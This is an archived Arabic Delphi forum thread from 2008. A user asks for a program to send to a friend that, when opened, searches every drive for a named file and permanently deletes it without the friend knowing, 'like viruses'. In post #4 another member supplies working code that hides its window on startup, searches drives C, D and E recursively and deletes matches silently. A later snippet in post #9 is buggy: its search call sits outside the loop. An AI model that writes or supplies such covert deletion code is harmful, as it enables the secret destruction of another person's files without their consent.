الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

البحت عن ملف وحدف أوتوماتكيا في حالة وجوده بالجهاز

بدأه aderfiad في 3 أغسطس 2008 · 9 رد · 817 مشاهدة · في لغة Delphi
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

إخواني أريد صنع برنامج يقوم بالبحت عن صورة معينة ان وجدها حدفها

متلا اريد حدف صورة لي من جهاز صديقي الصورة متلا تحت اسم

reda04.jpg

ما اقصده هو ان ابعت البرنامج للصديق عندما يفتحه يقوم البرنامج بالبحت عن الصورة المقصودة حسب اسمها بي الهجاز باكمله

وان وجدها يقوم بحدفها دون ان تمر الى سلة المهملات

ساكون متشكرا كتيرا لمن ساعدني ولو بالقليل

تحياتي

#2

السلام عليكم

في المرفق مثال يقوم بالبحث عن ملف معين حسب أسمه و نوعه (test.txt) في مسار معين © و يقوم بعرض قائمة بالملفات الموجودة

كما يوجد فيه بحث كامل المثال مأخوذ من http://delphi.about.com/od/vclusing/a/findfile.htm

قمت بإضافة عملية الحذف عليه

يمكنك أخي الكريم الإستفادة من التوابع و الإجراءات للحصول على ما تريد

أرجو الإفادة

في حال أي أستفسار أنا بالخدمة

Search_and_Delete_File.rar

I'm Away For Sometimes

I'll Finish My Works

Come Back Soon

More Study > More Search > More Try > More Learning > Great Success

#3

بارك الله فيك اخي متال جيد

لكن كيف ساجعله يبحت عن ملف محدد احدده انا كما سبق ودكرت (reda004.jpg) وفي الجهاز باكمله C ..D....E .....

ويحدفه دون علم المستخدم بدالك

تقريبا متل عمل الفايروسات (:

دوبل كليك عليه وتتم العملية دون شعور المستخدم بدالك

تم تعديل هذه المشاركة بواسطة aderfiad في 4 أغسطس 2008 في 02:54

#4

أخي الكريم

قمت بعمل تعديل على المرفق العملية جدا بسيطة محتاجة شوية تفكير و تعديل ما هو لازم

قارن بين المرفق القديم و الجديد و لاحظ الفرق الطفيف

قمت بوضع العملية عند الحدث oncreate لتكون العملية مخفية كا تريد

// إجراء الحذف

procedure del(filename : string);
begin
if filename <> '' then
if not deletefile(filename) then
end;

// إجراء البحث و الحذف
procedure FileSearch1(const PathName, FileName : string; const InDir : boolean);
var Rec : TSearchRec;
Path : string;
begin
Path := IncludeTrailingBackslash(PathName);
if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0 then
try
repeat
del(path+rec.name);
until FindNext(Rec) <> 0;
finally
FindClose(Rec);
end;
If not InDir then Exit;
if FindFirst(Path + '*.*', faDirectory, Rec) = 0 then
try
repeat
if ((Rec.Attr and faDirectory) <> 0) and (Rec.Name<>'.') and (Rec.Name<>'..') then
FileSearch1(Path + Rec.Name, FileName, True);
until FindNext(Rec) <> 0;
finally
FindClose(Rec);
end;
end;

// إستدعاء البحث و الحذف
procedure TfrMain.FormCreate(Sender: TObject);
begin
frmain.Close;
try
FileSearch1('e:\','test1.txt',true);
except
on e : exception do
beep;
end;
try
FileSearch1('d:\','test1.txt',true);
except
on e : exception do
beep;
end;
try
FileSearch1('c:\','test1.txt',true);
except
on e : exception do
beep;
end;
application.Terminate;
end;

Search_and_Delete_File.zip

تم تعديل هذه المشاركة بواسطة rober في 4 أغسطس 2008 في 19:33

I'm Away For Sometimes

I'll Finish My Works

Come Back Soon

More Study > More Search > More Try > More Learning > Great Success

#5

بالضبط اخي هدا ما ابحت عنه جازاك الله خيرا

ممكن شرح هدا الشطر

Path := IncludeTrailingBackslash(PathName);

if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0

تم تعديل هذه المشاركة بواسطة aderfiad في 5 أغسطس 2008 في 11:43

#6

ملاحظة بسيطة اخي هل يمكن ان نضيع تعديلا للكود كي يحدف جميع الملفات test كما جاء بالمتال

يعني يحدف جميع الملفات txt التي تحمل اسم test ممكن ان تكون test1 اوtest500 او test12 .... (: (: (:

#7

بالنسبة لـ Path := IncludeTrailingBackslash(PathName); فهوتحديد مسار البحث و البحث داخل المجلدات الفرعية ضمن المسار المحدد

و if FindFirst(Path + FileName, faAnyFile - faDirectory, Rec) = 0 then فهو أمر البحث عن أول ملف مطابق و هو يعيد صفر في حال وجد الملف الملف المشابه و أي قيمة أخرى تعني بأن الملف غير موجود

بالنسبة للبحث عن كل الملفات التي من النوع txt التي أسمها مشابه للأسم test مثل (test123-testname) :resentful:

بالتحديد لا أعرف لكن ممكن تجرب تعمل عداد يمثل ترميز المحارف بالأسكي و تضع المحارف مع الأسم لكن بتصوري سيكون البحث بطيئ :thumb_down:

هناك التابع pos لكن لا أعلم إن أمكن أستخدامه هنا

لعل الأخوة يفيدونك أكثر

و السلام ختام

I'm Away For Sometimes

I'll Finish My Works

Come Back Soon

More Study > More Search > More Try > More Learning > Great Success

#8

شكرا لك اخي على الشرح (:

بالنسبة للطريقة لا يهم ان يكون البحث بطيئ

ما اريده هو الاستفادة من الطريقة فقط المهم ان اعرف طريقة واحد لا يهم بطيئة او غير بطيئة مع استمرار الايام ساعرف طرق اسرع (:

لو سمحت ضع لي متالا

#9

أخي جرب

var i : integer;
name : string;
begin
try
for i := 65 to 122 do
begin
name := 'test'+chr(i);
end;
FileSearch1('e:\',name,true);
except
on e : exception do
beep;
end;

هذه الطريقة تقوم بإضافة حرف متغير في كلة مرة و تجربة الأسم إن كان موجود الأحرف من A to Z و a to z

لا أنصح بها

أقنرح أن تنتظر أقتراح من الأخوة الخبراء

تم تعديل هذه المشاركة بواسطة rober في 5 أغسطس 2008 في 16:37

I'm Away For Sometimes

I'll Finish My Works

Come Back Soon

More Study > More Search > More Try > More Learning > Great Success

#10

شكرا لك اخي الكريم

في انتظار رد احد الاخوة

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…